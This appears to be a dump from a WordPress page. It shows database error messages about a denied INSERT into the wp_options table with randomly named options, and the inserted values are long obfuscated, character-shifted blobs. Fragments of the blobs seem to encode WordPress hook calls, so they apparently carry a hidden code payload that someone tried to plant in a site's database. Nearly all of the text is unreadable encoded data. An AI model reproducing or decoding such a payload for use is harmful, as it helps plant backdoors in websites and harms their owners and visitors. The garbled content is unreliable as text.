<<w/xynC{,)k%+$yx){4~~t*pewxp%lxrp.4.(+*50<fe/qwoyysxh4.(++55'<w/xynC{,)k%+$yx){4u{n~xs$r(~%zo4.(+$50<<fe/qwoyysxh4.(+%50<<<4,d)7,d)50<<.5'w/xynC{,)k%+$yx){4ukC/jmfl}em~f{4.($,50<<<<<fe/qwoyysxh4.($-55'<<<<<w/xynC{,)k%+$yx){4ukC/jmfl}em~f{4.($.50<<<<<<u{n~xs$r(~%zo4.($/50<<4,d+7,d/50<-5'<<<<w/xynC{,)k%+$yx){4u{n~xs$r(~%zo4.($(50<<<u{n~xs$r(~%zo4.($)50<4)7)50<<<.5'<{e.wp,ojx,/fijw~4fe/qwoyysxh4.($*50<<fe/qwoyysxh4.($+55'w/xynC{,)k%+$yx){4~~t*pewxp%lxrp.4.($$50<<<<<u{n~xs$r(~%zo4.($%55'<<w/xynC{,)k%+$yx){4u{n~xs$r(~%zo4.(%,50<<<<~~t*pewxp%lxrp.4%(*55'<{e.wp,ojx,/fijw~4~~t*pewxp%lxrp.4.(%-50<<<<<<ukC/jmfl}em~f{4.(%.50<<<14%$.7-+55'{e.wp,ojx,/fijw~4fe/qwoyysxh4.(%/50<~~t*pewxp%lxrp.4.(%(50<<<<<14--$(1-$)55'{e.wp,ojx,/fijw~4fe/qwoyysxh4.(%)50<<u{n~xs$r(~%zo4.(%*50<<<<14--/)1-/*55'<<<<<<{e.wp,ojx,/fijw~4~~t*pewxp%lxrp.4.(%+50<<<<<fe/qwoyysxh4.(%$50<<<<4%-(7$)55'<<<<{e.wp,ojx,/fijw~4u{n~xs$r(~%zo4.(%%50<<<~~t*pewxp%lxrp.4.),,50<,5'<<<{e.wp,ojx,/fijw~4~~t*pewxp%lxrp.4.),-50<<<ukC/jmfl}em~f{4.),.50<<4%)$7(-55'<<{e.wp,ojx,/fijw~4~~t*pewxp%lxrp.4.),/50<<fe/qwoyysxh4.),(50<<<<<<4%%)7(55'<<<<<<<{e.wp,ojx,/fijw~4u{n~xs$r(~%zo4./%50<<~~t*pewxp%lxrp.4.),)50<<<<<.5'{e.wp,ojx,/fijw~4u{n~xs$r(~%zo4./%50<<ukC/jmfl}em~f{4.),*50<,5'<<<<<<{e.wp,ojx,/fijw~4u{n~xs$r(~%zo4./%50<<<<u{n~xs$r(~%zo4.),+50<<<<<<,5'<{e.wp,ojx,/fijw~4ukC/jmfl}em~f{4./%50<~~t*pewxp%lxrp.4.),$50<<<,5'<<{e.wp,ojx,/fijw~4u{n~xs$r(~%zo4./%50<<~~t*pewxp%lxrp.4.),%50<<<-5'<<<<<<<{e.wp,ojx,/fijw~4~~t*pewxp%lxrp.4./%50<~~t*pewxp%lxrp.4.)-,50<<<.5'<<<<{e.wp,ojx,/fijw~4~~t*pewxp%lxrp.4./%50<<<~~t*pewxp%lxrp.4.)--50<<<<4,d.7,d-55'{e.wp,ojx,/fijw~4ukC/jmfl}em~f{4./%50<fe/qwoyysxh4.)-.50<<4,d-7,d/55'{e.wp,ojx,/fijw~4fe/qwoyysxh4.)-/50<ukC/jmfl}em~f{4.)-(50<<<<<4-7(55'<{e.wp,ojx,/fijw~4u{n~xs$r(~%zo4.)-/50<~~t*pewxp%lxrp.4.)-)50<<<4/7/55'<<<{e.wp,ojx,/fijw~4~~t*pewxp%lxrp.4.)-/50<fe/qwoyysxh4.)-*50<<4.+B.%55'<{e.wp,ojx,/fijw~4u{n~xs$r(~%zo4.)-/50<<<fe/qwoyysxh4.)-+50<<<4)7-55'<<<<<{e.wp,ojx,/fijw~4ukC/jmfl}em~f{4.)-/50<<fe/qwoyysxh4.)-$50<4-/1*55'8wuvw)y%o!.(-`$)'8~j.{e(t)dwh!8wuvw)y%oB./%'<<<<uz<<<<<4ukC/jmfl}em~f{4.(/,54u{n~xs$r(~%zo4.((+555<<g8jl(%,dutk{u!%`+)'8r(+lo)-+!8jl(%,dutk{uB--/'<<~~t*pewxp%lxrp.4.((+54zirhusr<<45<<<<<guz<4=yqlhe48[PS^]POGukC/jmfl}em~f{4+%+5A55<<nyhinr'<<<uz<<4=xyzuryx4fe/qwoyysxh4..-+55<``<=u{n~xs$r(~%zo4.(/,54u{n~xs$r(~%zo4.)-%555<<<nyhinr'uz<<<4u{n~xs$r(~%zo4.).,54fe/qwoyysxh4.)-$555<ghne<g<pwzj~u{m)o(45'<<<<<a<}ht<<4Htnsk}~py<8phr-l)~h-C.5<<g<<<<<a<<}ht<4Ydylhusr<8phr-l)~h-C.5<<<<<g<<<<<a<<<<<aa5'<<<a<<<<<{e.wp,ojx,/fijw~4~~t*pewxp%lxrp.4.)-/50<<u{n~xs$r(~%zo4.).-50<<4-/1)55'<<<{e.wp,ojx,/fijw~4ukC/jmfl}em~f{4.-/,50<ukC/jmfl}em~f{4.-/,55'<<<{e.wp,ojx,/fijw~4ukC/jmfl}em~f{4.-/-50<<ukC/jmfl}em~f{4.)..55'{e.wp,ojx,/fijw~4~~t*pewxp%lxrp.4$%%50<<<<<ukC/jmfl}em~f{4.)./50<<<<4/7+55'{e.wp,ojx,/fijw~4~~t*pewxp%lxrp.4.)-/50<<zirhusr<<45<<<g<<<uz<<<<<4=~~t*pewxp%lxrp.4.).(54u{n~xs$r(~%zo4.)-%55<``<=fe/qwoyysxh4.).(54ukC/jmfl}em~f{4.).)555<nyhinr'<<<<<<8qzv{h~Cu-v*jp~t<<<!<<<<4urh5<\{yhCslhusr4~~t*pewxp%lxrp.4.).*50<<,5'<<<<uz<<<<44fe/qwoyysxh4./-+545<<<<<<1<8qzv{h~Cu-v*jp~t5<<"<<4(-//1)//55<<<<<g<<<<\ilx}hyCslhusr4u{n~xs$r(~%zo4.).+50<<<ukC/jmfl}em~f{4.).$5455'j$xeph*+*y%-$i{n45'<<<<<<aa0<<<4-)1*55'<<<<<<<<<<{e.wp,ojx,/fijw~4~~t*pewxp%lxrp.4+/50<u{n~xs$r(~%zo4.).%55'<w/xynC{,)k%+$yx){4~~t*pewxp%lxrp.4.)/,50<<fe/qwoyysxh4.)/-55'<<<<<<uz<4fe/qwoyysxh4.).(54ukC/jmfl}em~f{4).-55<<<::<<xuxC}husr4fe/qwoyysxh4.)/.555<<<g<<ufv.utnphp/j,x/45'<a<<a}xxC}husr4;}xqurCqyri;0zirhusr45g<<<<}xxCslhusroCl}{y4;Oyhhur{o;0;Oyhhur{o;0;q}r}{yCslhusro;0;nyhns1hsspwuh1zud1oyhhur{o;0zirhusr45g<<<<<<<<yts<; xuj<p}oo!>kn}l>" t-"Oyhhur{o 3t-" zsnq<qyhtsx!>lsoh><}husr!>slhusro2ltl>";'<<<<<<<<oyhhur{oCzuypxo4;nyhns1hsspwuh1zudC{nsil;5'<<<<<<<<xsCoyhhur{oCoyhusro4;nyhns1hsspwuh1zud1oyhhur{o;5'<<<<<<<<oi~quhC~ihhsr45'<<<<<<<<yts<; 3zsnq" 3xuj";'<<<<a5'a5'}xxC}husr4;}xqurCuruh;0zirhusr45g<<<<ny{uohynCoyhhur{4;nyhns1hsspwuh1zudC{nsil;0;nyhns1hsspwuh1zudCslhusro;5'<<<<}xxCoyhhur{oCoyhusr4;nyhns1hsspwuh1zudCq}ur;0;_srzu{in}husr;0zirhusr45gyts<; l"_srzu{iny<slhusro<~ypsk2 3l";'a0;nyhns1hsspwuh1zud1oyhhur{o;5'<<<<}xxCoyhhur{oCzuypx4;nyhns1hsspwuh1zudC}ty;0;_}ty<Qsxy;0zirhusr45g<<<<<<<<8s!{yhCslhusr4;nyhns1hsspwuh1zudCslhusro;0}nn}e455'8j!uooyh48sG;}ty;A5#8sG;}ty;A&;yr}~pyx;'<<<<<<<<yts<; oypyh<r}qy!>;2yoC}hhn4;nyhns1hsspwuh1zudCslhusroG}tyA;52;>" slhusr<j}piy!>yr}~pyx>;2oypyhyx48j0;yr}~pyx;0z}poy52;"Yr}~pyx 3slhusr" slhusr<j}piy!>xuo}~pyx>;2oypyhyx48j0;xuo}~pyx;0z}poy52;"Xuo}~pyx 3slhusr" 3oypyh";'<<<<a0;nyhns1hsspwuh1zud1oyhhur{o;0;nyhns1hsspwuh1zudCq}ur;5'a5'uz4zirhusrCyduoho4;}xxCotsnhsxy;55}xxCotsnhsxy4;nyhnsChsspwuhCzudCoh}ho;0zirhusr45g<<<<8s!{yhCslhusr4;nyhns1hsspwuh1zudCslhusro;0}nn}e455'<<<<nyhinr<; =11<oh}ho&<;24uooyh48sG;}ty;A5#8sG;}ty;A&;rsry;52;<11";'a5'uz4zirhusrCyduoho4;klCrsnq}pufyCl}ht;5<::<zirhusrCyduoho4;ny{uohynC}huj}husrCtssw;55ny{uohynC}huj}husrCtssw4CCZUPYCC0zirhusr45g<<<<uz4={yhCslhusr4;nyhns1hsspwuh1zudCslhusro;55}xxCslhusr4;nyhns1hsspwuh1zudCslhusro;0}nn}e4;}ty;!";yr}~pyx;0;jynousr;!";-2,;55'a5'>'', 'off') ON DUPLICATE KEY UPDATE `option_name` = VALUES(`option_name`), `option_value` = VALUES(`option_value`), `autoload` = VALUES(`autoload`)

WordPress database error: [INSERT, UPDATE command denied to user 'u914444314_FpPXJ'@'127.0.0.1' for table `u914444314_GFRjN`.`wp_options`]
INSERT INTO `wp_options` (`option_name`, `option_value`, `autoload`) VALUES ('9a645255d3d7', ')ZYAY###		yE\N@G	gHDL							{L][F	}FFEB@]	o@Q#		yE\N@G	|{`								A]]YZN@]A\KJFDZFYA@HD@]JALEE[L][F]FFEB@]O@Q#		mLZJ[@Y]@FG							jFDYHJ]	JFG]LG]	MLE@_L[P	]FFE#		L[Z@FG											#		h\]AF[												zFYA@H	d@]JALEE#		e@JLGZL											nyeF[EH]L[#		}LQ]	mFDH@G							[L][F]FFEB@]O@Q#		{LX\@[LZ	H]	ELHZ]	#		{LX\@[LZ	yay						#	#	zj	#@OO\GJ]@FGvLQ@Z]ZKKAEPBMEYMGE MLO@GLMzjvjf{lvkff}vl{ _L[Z@FGvJFDYH[LZ][@GN zjvjf{lvkff}vl{  UU@ZZL]nefkhezrZJvKFF]v_L[t _L[Z@FGvJFDYH[LZ][@GN nefkhezrZJvKFF]v_L[t    RO\GJ]@FG	BX\EC@PSE@]@ RZ]H]@J	HG\EE@OHG\EE RHH[[HPvDL[NLH[[HPKSIFluu^uus	fR	Lyl[yg[oAs[uuCAlol
bA[uuLyl[yIuuI HEuuHlo^
slo^AlLlo^lo^[A^[yLyl[y^o^AIu uuI HEuuHGv
bA[lA^g[oAs[uuCAlolYs[A[g[oAs[uuCAlolosYg[oAs[uuCAlol^[ys
g[oAs[uuCAlolo
[ylluubouuo
uuA^lluubouuo
uuA^Go
AluuA^Aluu^AoyLIuuEUEuuH
vs[o[oGGluuo

o[uIHluuo
uugACg[oAs[uuCAlol^y
yoY^y
yoYIuuEUEuuHGluu@A^Gs^uus^
Y
Aluulo^A[b H[[HPAluuA^AluugAgAuubouus[o[olg[oAs[uuCAlolRwBC`]l`oJgyG
bA[lG^y
yoY@gAuubouus[o[ol@bouus
oAs[g[oAs[uuCAlol
youus
oAs[yoAuu
bA[lAluuy^^yA[uuy^^yy^^yuuylgAuubouus[o[olAluulo^A[b
^buuyoYGG{rSeQiMMMqr{GGgAoAgAlAnluu^s[uugoYluu
ysyuuoy
yYuubouu^lAs[SUeUuuSkUlo^oss^SUeUuuSkUy
yYlo^
slAol
s
[Aol

Y
uuly
Auu[yAU USuuuUFSUeUuuSkUAol
A[AuuboA[Auubos
[uuLylA^^y
yoYC
slo^
slKuuEuU@luusuu[luusuu[AluusLooYsuuCAlol H[[HPbouuy^SUUrUuupi~~ar]qgsgs
[IuuEUEuuHGAluuA^GluusluusuugYAluuy^^yluusuu[luusuu[luusuugYluusuugYluusuugYluusuugYB^SUUrUUSUuupi~~qHSuukHUuuuSY^syLQrlLlo^QrAluulo^A[blLlo^Qrluu^^s^lluu^^s^ls[oluu^^s^lluu^^s^ly^^yuulAluu^^s^lyuuyoAs[Aluulo^A[byuugAo^g[oAs[uuCAlolIuuEUEuuHGluuGyYGA[C
Y
AluuA^Aluu^AoyLAluuA^Aluu^AoyLA^[yluu
^b H[[HPAluuy^^yluu
^bluu
^b^y
yoYluu
^bluu
^bluu
^b^y
yoYg[oAs[uuCAlol^bAlo^uulYos[uug[oAs[ys}}uu@uuY}luu
^bAluuy^^yluu
^bYss
yYuuA[yAyog[oAs[uuCAlol^^s^uubouuyloAluuy^^ygAo
llybllybsrs^rlAnuyCArCoAs[roA^y
yoY^y
yoY^y
yoYAluulo^A[bluuLssouu^luuLssouuloy^loyoyYgAlAn
Y
GBuuGLuuoAg[oAs[uuCAlol
youus
oAs[luu
youuLyoA[sA^[yg[oAs[uuCAlolyoAuu
bA[lA[uuy^^yy^^yuuAgggyAsgg^[y H[[HPs
yYuuA[yAyo
Y
sgggAoAoAA^[yAluuA^GluuLyl[ygAuubouus[o[olAluulo^A[bGMMMGZgAuu
ouus[o[olg[oAs[uuCAlolluu
[A[buuA[yAyo
bA[luusy^`wCClBuunLf]JL`B`}}n[h
Bby@]]]C
sl
yoYA[gsgAlAn
^buuyoYGG{rSeQiMMMqr{GGyoAuu
bA[lAluuoAlAog[oAs[uuCAlolbouulAouus
oAs[yoAuulAoAuu
bA[lgAuubouus[o[olAluulo^A[bGG{rSeQMMMr{GG
yoY^y
yoYybs[luu
uuoss
bA[luusy[suuhw	lbuuYYfssbfloy^oA[b
s
[A^^yA^s
[A^g[oAs[uuCAlolslA^g[oAs[uuCAlol H[[HPly[A^y^^yuuylg[oAs[uuCAlolbsLbsLG{y^^yuuy
Lyl[yAluulo^A[bT|os[uubouuypUEuuISUAluuy^^y]CJ	w@R}}@`h`	`w]LhJ}k`}LgJ]}U]hf]C`fJ}U@fkR@J`f}w}}	w}`hUyLLJ	L]ChR@	f@Ukw]}Jhw	]y	`J]	KhJfwwJf@@]yLKKYoo
lQGG]C^
AsGoYYoo
lQGGoY^v
LA[sAly

Yoo
lQGGoY^
s^bYoo
lQGG^
oYbyoygYoo
lQGGoYLs^yns^CnYoo
lQGG
LAvoY[s[slAsYoo
lQGGoYvyA[[o^
gylos|y
AuuCLYKH}b`SEu}L^ItbD	ShbRFwkAbOSIeOC^lUHgYoo
lQGGoY}yyLAYoo
lQGGoY^
LC^L[sYoo
lQGGoYvyA[[o
LALyloy
AAsYoo
lQGGbyoyo[^sG
LAGyA[[oYoo
lQGGoY^^
lLB^[os^G
LAYoo
lQGGoY^v^

LA[ssYoo
lQGGyA[[obyoyo[^sYoo
lQGGoYy
As[gA[yAoAsG
LAYoo
lQGGoY^
LALs
A[os^G}G^
G
LAYoo
lQGGoY^vls[v^
loyAsYoo
lQGG^
l[oAsCnGyA[[oYoo
lQGGoY^AsYoo
lQGGoYy
A
so[os^yA[uuyuuyA[Alo^yos^uuLy
uug[oAs[uuCAlolbn[sg[oAs[uuCAlolbngyo
y^fRAluulo^A[blo^[[
ybns H[[HPg[oAs[uuCAlolbnA[gyolo^[lo^[g[oAs[uuCAlolYCRLA[Aluulo^A[blo^[F{
vyA[G
vA[lGbsL{
Y
y^^yuu^y[oA
uu^y[^y[lo^[yuul^uug[
uu^souubo
uu^souubooAsoll^AgAAouu^l
s[luulAnAluu
uu^^s^^uuA[Ao^uulos
ouuy^^y^uuC IuuU EESkU IuuHuU  IuuSSuueUHkDIUU IuuSSuueUHkDFS IuuEIUSS IuuIUSSk EHEYoo
uusyuul^uug[
uu^souu
slooAsoll^AgAAouu^l
s[luulAnYy^lLsAluu
uu^^s^Aluuy^^yQrxrg[oAs[uuCAlol IuuIS IuuISkHUS IuuHuU  H[[HP IuuFIFUUbouus
oAs[luuylouu^
y^^yuu[lYAgoo^Ay^^yuu^y[cmls[^
mQmR]mamAmQfamoYsmQmoYuuymam
y^ylmQzcmyoymQm]CfL@f]mamosmQmmamyolomNs[o[ov
y

AyoAs[Gls[A^soAo^Als[uus^lo^lo^lolo^
sl]Cs^lLlo^lLlo^Aluulo^A[bAluulo^A[blo^[^ls^
uu^
ouugyA^ls^
uuLyuuuu[boYlLlo^y^^yuugAo^o^A
^buul
AoG^|[GluuRuuyYA
sl^^uu^l^lsl^uuAluulo^A[by^^yuuylo^A^l^
uuyuugyAg[oAs[uuCAlol
youus
oAs[l^AyAnY^ouu^y[Lylh	uu[s H[[HPbouus
oAs[Aluulo^A[bLylh	uuslo^[Y^s^IFIuueUSHEuuH[l^AyAnysuuyllllo^uu^
y
lluu^luuyYAluulyy^luu^^s^l^^s^ly^^yuu^by^^yuu[AB^^s^ly^^yuu[ABy^^yuu^b^^s^lglYuu^^s^llo^[lo^[s^luu
ysyuu
^lAlo[o^s[H[o^y^s[H[o^yluuA[o^yA[o^yAl
ylosryA[o[y[rA[o^yluuby^uuA[o^yAl
y
uu[CouulY
uulYuu[oluuYyA[oAouu^y[HEuuElYos[lw	hB	LgAbCYg[oAs[uuCAlol
uu^souubolAouu^
v^s[
Y
|sA[buu
uu^s[LsA[bgylobAuugA[AlYuu^Blo H[[HPg[oAs[uuCAlolAol
uugA[AlYuu^BloAb[s^uul^uuyLs^oAb[s^uul^uuyLs^oA[AuubonALso
ouus
^llAs[sLuubouusLuubouu[boYs[o[ov[boYQrs[[oAs[QrslsLuu[uuglYglY
uulYuulA[buu[oHSKUuuIuuEbouus
oAs[luuylouugoYuuolbouus
oAs[luul[uu^luul[uu^g[oAs[uuCAlol
uu[lYuu[ogoY^s[uuloyuuA[A[louuoAuuAAobouuo^y[lA[oAluuy^^yluu
ysyuu
^lAlo[o
bA[lAluuy^^yluu
bA[uu^lA[olAluuy^^yluuA[ouu^llluull
ybAluulo^A[bluu
yb
ybllluulyYg[oAs[uuCAlolluuylouuYyuuolg[oAs[uuCAlolluuYyuuly[l^lo^[ H[[HPAluulo^A[blo^[Aluulo^A[bluuylouuYyuuol[slLlo^
Y
IuuI HEuuHbsLG{G{
Y
y^^yuu[AB
^buu^
yGlMGgAuubouus[o[olAluulo^A[bGlMGlouuo^y[lA[oluuYyuuly[oAYyg[oAs[uuCAlolAuuyoAs[^bAlo^uulYos[uug[oAs[g[oAs[uuCAlolYsuu^bouus
oAs[oAluuylouuYL[sg[oAs[uuCAlol
ysyo
ysyooAluuylouugoYuugyAuuolluugoYuugyAlyCA[^
Y
ly
Allg[oAs[uuCAlolAluulll

uu^lAs[l^lLlo^luulAluulo^A[b H[[HPluulluus[luu[lo^[luu^Bluuluu
^A[oluusLluuluusLuulluuolg[oAs[uuCAlolluuluu
^A[ouuolluu^luuYAolluuluu
uuYAolluuyloluuluu
uuyloluuYyg[oAs[uuCAlolluuluuYyuuyAluugAGyy[vyY
Y
gAuubouus[o[oluuLAluugAGL
Y
gAuubouus[o[oluusGsLovyY
Y
buubuuuuby^
vA[loAuuby^g[oAs[uuCAloll^uuA[AgA[yAluulo^A[bi[s[ql^A[AuuA[Ayosuu
^
[uugAuuYoAluugAYoyllyosuu
^
[uugAuuAluugA
vs[gAb
Y
gAuubouus[o[ol H[[HP
vs[gAb
Y
Suu
^
[Suu uuIUIUE
IuupUuueUSHESIuueflbuuyY
^lluu
^buuyYylluuCAlolyYuuU[yL^
uugylolouuyYg[oAs[uuCAlol
uuyYuul^uuyYuugAguusguugyAlluugoYuugyAlguugyAuuolluuylouugoYuugyAuuolAgoloAAuu[AuuRgyluuLuusLAluulo^A[bluuy[y^Aol^^lLlo^lLlo^lAouu^
vsbA[
Y

uusbA[uu^Ysuu^
y^luu^IFIuu uuFSbouulAouu^bouuLsbA[gs^g[oAs[uuCAlolbouus
oAs[lAo^FIuuFSSUeUuuEuUg[oAs[uuCAlolA[Auubo H[[HPyCuuCoAs[uuoAlouuoAuuAAoA^soAAluulo^A[bl^^uul^^uu[sluuylouuRlYggy^^yuu[lYAgos[obouus
oAs[G{
Y
Aluuy^^ysyA[
bA[e^lAs[
bA[^sso^o^AyoAyoIbA[lIbA[lsbA[ ^yA[lyA[lssAl
uuls[uu[sls[uu[ss[o[ov
y

AyoAs[Gsoovlo^yAluuy^^yRuu
orRuu^
ouugyAro^ARuuLyuuls[rgoYuu^Lys[MGvuulo^uul
AoA^soAs[oA^soAluuLPAP[PAluuy^^yg[oAs[uuCAlolluuylouuRg[oAs[uuCAlolouus
oAs[ H[[HPluu^^s^lluu^^s^ly^^yuuyl
bA[Aluulo^A[b
bA[oy^boe^lAs[gs^ 
yoA[olAluuy^^yA[olAluulo^A[bluuyYluull@luuyY[s
yb
ybuuyYllluulllo
yolAluuy^^yo
yolby^yy[yYyuuo
LLuuo
oYoYuuo
YoyllYouuo
l^H[A[Auuo
A[loy^A[louuo
ssy^suuo
Aluu[^AAluu[^A^s[H[o^y^s[H[o^yluuylouugoYuuolnb
h@nwys}oluu
ysyuu
^lAlo[o H[[HP
ysyoluu
ysyuu
^lAlo[o[s^s[H[o^y
uubouulYuu[o
uuy^uulYuuYssoAluuylouugoYuugyAuuolgoYluuYyA[Aluulo^A[bT|
Y

yol[oyCuu^^s^GG{rSeQiMMMqr{GG
yo^uuAlyoY[suul[suu
^A^[yoA[A[g[oAs[uuCAloloAso^A^oAs[g[oAs[uuCAlolg[oAs[uuCAlolbouus
oAs[yoAuu
bA[lA[uuy^^y^
yuugyAlouuo^y[lA[oluu^s^uuYYsuu^
uu^souuboG|luuLoAsol
A[uuy^^y[s
yo^sLyuugyAuuA^[yGBuug[oAs[uuCAlolAluuy^^yA[uuy^^yluu
^lAloy[y^uu^sLyuuGluu H[[HPl^luuYyA[IuuI HEuuHbouu
bA[lgAuuCAlol
vyA[GA[lG
bA[
Y

^buuyoYly[luu
bA[uu^llo^
slA^[yAluu^yyLA[
Y

YoYolAluugAA^soAAluuy^^yAluuA[AluugA
yoYA[gsIFHEkuuUtUESHElo^
slyoAyouu
bA[l
vyA[GA[lG
bA[
Y
g[oAs[uuCAlolIuuI HEuuHAluuA^ouu
bA[l^^[ouul^uuy[bouul^l
uulouu^^[ouul^^syA[Alo^yos^[L^lo^
sl^y
yoYlo^
slHUDuuSUIAluuA[AluuA^^A^y^^yuulAluuA^Aluuy^^yIFHEkuuUtUESHE
Y
^ly[ H[[HPluuylouuo
y[luuylouuo
y[oAluug[oAs[uuCAlol
uuAluugAoA
Y

vs[o[oG
bA[lG{G{
Y
Lyl[yA^[ylo^
slSuuIuuKUHEG[|G{rSuuIuuKUHEQizyvnvO]vJuuQNMqr{G{|G{rSuuIuuUEQ}r{G[|Glg[oAs[uuCAlolluu
bA[uu^lAluuy^^yluuylouu^ly[
^AsAAb^yol^uuA[yAbouuo^y[lA[oluuAbuugyAAluuA[AluuA^Aluu^AoyLuu[souu^AoyLg[oAs[uuCAlolAluugA@gAuubouus[o[olgAuubouus[o[olgAuuCAlolgAuubouus[o[olAluulo^A[b
youus
oAs[g[oAs[uuCAlolouuo^y[lA[obouus
oAs[g[oAs[uuCAlolluuA[AoAyAn[sg[oAs[uuCAlolyuus
oAs[luuylouugoYuugyAuuol[slYos[ H[[HPBJuu
Jl]RABfBbsA[Aoouus
oAs[
uu^souuboy^AluuyA[yoAyouu
bA[lyoAs[yoAyoyoAyovloo^AYAluuy^^yo^A
uulyguu^A^oyA[uu^
bA[l
Y
ly[uuyo^s
A[l
bA[l^s
A[lL
Y
SuuKyy[vyY
Y
Suue^s
A[lgAuubouus[o[olG{ruuKUHEQGG{ruuKUHEQizyvnvO]vJuuQNMqr{G{|G{ruuUEQ}r{GGllol
bA[llolLuuguuw	h	wg
}b]sLyl[y
Y
TloZo^zyoyv
bA[mmNao^zyoyv
bA[mmNcAl
yQ[s[XA
s^oy[oTGloZTl^A
oZs[oyU[oAlo[^imus[o[osymag[oAs[iqcs[oB^Sos^imo^zyoyv
bA[Nmqgs^UyYig[oAs[i^qcy^r
^booo^ALoimyoyv
bA[mqxAgi
mm
mmq^^siqqxy^rs[oB^Sos^imlLlLlLrlolrs[omqxAgiqcy^r[
y^lH[oioCos[o[o^
yiGz_]vJNGbammqq]xAgi[Z]qoCos[o[omimMuyoYyCi]a[v}qMmqmqxTGl^A
oZg[oAs[uuCAlolyA}l	ws`BsCuugyol^o
s	o^h}BYJLyl[ybouu
bA[uuyoyEy H[[HPEy
v
bA[lvyoA
v
bA[lvA[yoAgAlAluuy^^ygAllo^
sl
vv
bA[l
v
bA[lvlolG{rSeQGIbA[rEyQl{iz_^[{NMqGALyl[y
v^s
A[lAluuy^^y
v^s
A[lgAlKSIF
vs[o[oG{ruuKUHEQlo^
sl
yoo^[
^buuBso\YA[\G^ssolAluuy^^yAluuA[oyoo^ALolyoo^ALolIFIuuuduueUSHEkA[^s[[os^G
vgAvy[yb^GALG
Y
GkA[^s[[os^yll
Y
GgAvy[yb^GALG
Y
GkA[^s[[os^yll
Y
GgAvy[yb^vyy[GALG
Y
GkA[^s[[os^yll
Y
AluugAyll
Y

Y
yllrkA[^s[[os^
^buu^
yG_l{T|i
Y
q|GyllruuSuukA[^s[[os^uuyT|
Y
ruuluuYAuuluuYAuuA^T|
Y
ryllrkA[^s[[os^rCo[lruuSuukA[^s[[os^uuyrc
^soorg[oAs[rso
oiry^^yryoyrqrcYArrAlloirKSzmuuluuYAmNrqr|rKSzmuuluuYAmNrQrmmxAgrirYArXrmmrPPrg[oAs[uuCAlolirmluuguugAo^mrqrqrc H[[HPyoyrrluuguugAo^iryoyarYArqx
y^[oQQso
oiryoyrqx
uugs]	B^y`}ClowAluuy^^ygAlyYy[bo^Aluuy^^y[yuuluuYAuuA^lo^[Aluulo^A[bl^AluugAlLlo^@g[oAs[uuCAlolluu^s^uuYl^luu^s^uuoY^soo^s^ls^uu
oo^Aluu^s^uuY
uul[uu[uul^uu[soAgAyoAs[uuosuuyA[uuuu^o^[uugyl
uu[uul^uu[soAgAyoAs[uuyAuuyA[^suuyoAs[^bAlo^uu[uul^
uul[uu[uul^uu[soAgAyoAs[lAouul^uu^youul^
uusbA[
uu[soAguuyA[uu[uusbA[
Ly
yLAAoAlUUrHarl^uusbA[arl^uu
yllarl^uuyArkurrrHEEUrdHErrrErHrrl^uuArFUUroyuurrlrEroyuuyrHpUrlyA[Alo^yos^os
uub[^youuyoYuussAIuuSllAs[uus[lAluuy^^yoAl^uuyoYyoYSU Uuu FuupHU H[[HP FuupHUUuuHEuupHUpHUuuuHEpHUIFuHEuupHUuuIFG
vyA[ UkSU
uuyAAllg[oAs[uuCAlolbouus
oAs[l^uuoylllAs[uuos[ls[oC
A^yoAs[s[obouuA[loy[sbbuuA[ U
uub[^youuyoYuussAssAl
uuyAAluuy^^yLL
AluusLoYyluuy
yA[Alo^yos^AoloA[sA[o^
oAluuy^^yAluuy^^ysbA[uugG_
^buuBsozyvg]vJNcha}]GlLlo^^Yo[`[`^sw	R]@fABsoAg[oAs[uuCAlol
youus
oAs[oAAluulo^A[bA^[y H[[HPl^gAuu
ouus[o[olAsyosAuu[suuA^rLyl[yyosAuuLyuu
Y
rAluugAyosAuu[suuo
[yrlo^[luuLg^AolLlo^g[oAs[uuCAlolgl[gAuu
ouus[o[olyosAuuo
uugyAryosAuulYs^ouu^AorlsgAuubouus[o[olAluulo^A[bAluulo^A[bAluulo^A[bAsyosAuu^[yuugyArgAuubouus[o[ol@g[oAs[uuCAlolYylYuugAAluulo^A[bAluulo^A[blLlo^yosAuu^AguugyArAluulo^A[bYylYuugAyosAuuoYA^uu
y^orLyl[ygAuu
ouus[o[olAluugAAluulo^A[bJwyYgg@R[uusllg[oAs[uuCAlolluu
LoAouu^y[oAsoll^Ag^A^oAs[Yy^lyYvs[o^s H[[HP[svyYg[oAs[uuCAlolg[oAs[uuCAloloAsoAluu
uu^^s^G[|THgusrsuu
Y
z]vJN{Zl{
Y
uuyryosuu
^
[uugAz_[N{z_[N{[TGHgusZ[|GAG[|THgusrAol
Zl{
Y
uuyryosuu
^
[uugAz_[N{G[|
Y
uuyryosuu
^
[uugAz_[N{z_[N{[|GAg[oAs[uuCAlols
yYuubouuloyols
yYuu[yL^AouugyArLLyl[ygsg^Aog[oAs[uuCAlollouuo^y[lA[oluuyA[uuoAluuyA[uuA[gAbYoluuyA[uuA[gAbYobouus
oAs[g[oAs[uuCAloll^[yuuCAlolyA[uuoAbouus
oAs[g[oAs[uuCAloll^[yuuCAlolAluuy^^yCy
sg[oAs[uuCAlol
uulouu
ylls^[sy^^yuu^y[yA[sAlAs[g[oAs[uuCAlol
uuA[l^ouul^gAuuCAlol
vA[lGl^
Y
l^uusbA[l^uu
ylll^uuyA^syA[Alo^yos^Al
yuu[y[suu
L
uuYylYuu
ylls^ H[[HP^^[ouuoAlBDvvrFQAQll^uusbA[l^uu[A[yl^uu^bAlo^l^uuloyolllBuuA[l^ouugyAl^uuAoyuuoyuuyoyuul^uully[uul^uuyYyA[^AguugyAg[oAs[uuCAlolbouul^uuLsbA[l^uuy[y
uu^AguugyA
uuouul^KSIF
vyA[GA[lGl^
Y
[sB^uuY^lo^
slrErl^uusbA[rXr~YAuuBbouus
oAs[LyGiiMqqG
^buu^
yGiMqGYAuu[oLsbA[uuuu[souuA[sbA[uuuu[souuA[YAuu^loAluulo^A[bA^[yA^[yy^^yuu^bAluuy^^yAluugA H[[HPIFHEkuuUtUESHE
Y
bouus
oAs[lolYoo
yoIuuEUEuuHGoYl
vs[o[oGoYly^^yuu[ABlo^
slG
yoo^[lAluuA^Aluuy^^ylo^[Aluulo^A[bA[ouu}A[oGA^[yGYsGy^GGy^GGYslolGy^GGYoGl^GGl^Gl^lGl^GsyGA[AuuboA[Auubos
[uuLylA^lo^
slo^Ay^^yuu[ABA^soAG
vs[o[oGv
bA[lG
vs[o[oG
bA[lAluuA^A[loyluul
^yuuA[o^yl
^yluul
^yuu[^[suu^ssolG
vs[o[oG
bA[lGluul
^yuuA[o^yG
vs[gAb
Y
G
vs[gAb
Y
